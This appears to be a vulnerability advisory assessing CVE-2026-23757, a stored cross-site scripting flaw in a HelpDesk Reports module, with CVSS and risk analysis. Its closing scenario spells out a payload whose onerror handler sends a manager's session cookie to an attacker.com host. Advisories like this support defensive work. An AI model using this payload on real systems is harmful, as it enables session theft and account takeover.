Helpdesk CVE-2026-23757

Exploitation requires the attacker to possess valid HelpDesk user credentials with permission to create or edit reports in the Reports module - the vulnerability does not affect unauthenticated access. The payload only executes when a staff member with access to the Manage Reports interface views the malicious report and interacts with the link, making user interaction a hard prerequisite. Organizations with strict role-based access controls limiting report creation to senior administrators face reduced risk compared to those granting report-creation rights broadly. Default HelpDesk installations typically restrict report management to administrative users, which constrains the attacker pool but does not eliminate insider threat vectors. The vulnerability does not execute within REST API contexts or non-web clients, limiting attack surface to the web interface specifically.

This vulnerability presents moderate real-world risk constrained by multiple exploitation factors. CVSS 5.1 reflects the limited attack surface: remote network access (AV:N) and low complexity (AC:L) are offset by required authentication (PR:L), mandatory user interaction (UI:P), and limited scope (scope appears local per SC:L/SI:L/SA:N indicators). The stored XSS nature means payloads persist, increasing likelihood that multiple staff will encounter the malicious report over time. However, the attacker must have legitimate HelpDesk user access to inject the payload, limiting threat actors to insiders or compromised accounts. EPSS score not provided in input data, but exploitation probability is elevated beyond typical XSS due to persistent storage and guaranteed execution environment (internal staff interface). KEV status not indicated, suggesting no active widespread exploitation detected by CISA. The vendor patch availability and absence of public exploit code further reduce immediate risk, though organizations with large internal HelpDesk user bases face greater exposure to insider threats.

A HelpDesk operator with legitimate user credentials creates a report with the title 'Monthly Sales Report<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)" />'. When the report is saved, the payload is stored in the database. Later, a manager clicks the report link in the Manage Reports interface to review it. The manager's browser executes the embedded JavaScript, exfiltrating the manager's session cookie to the attacker's server, enabling account takeover of a higher-privileged user.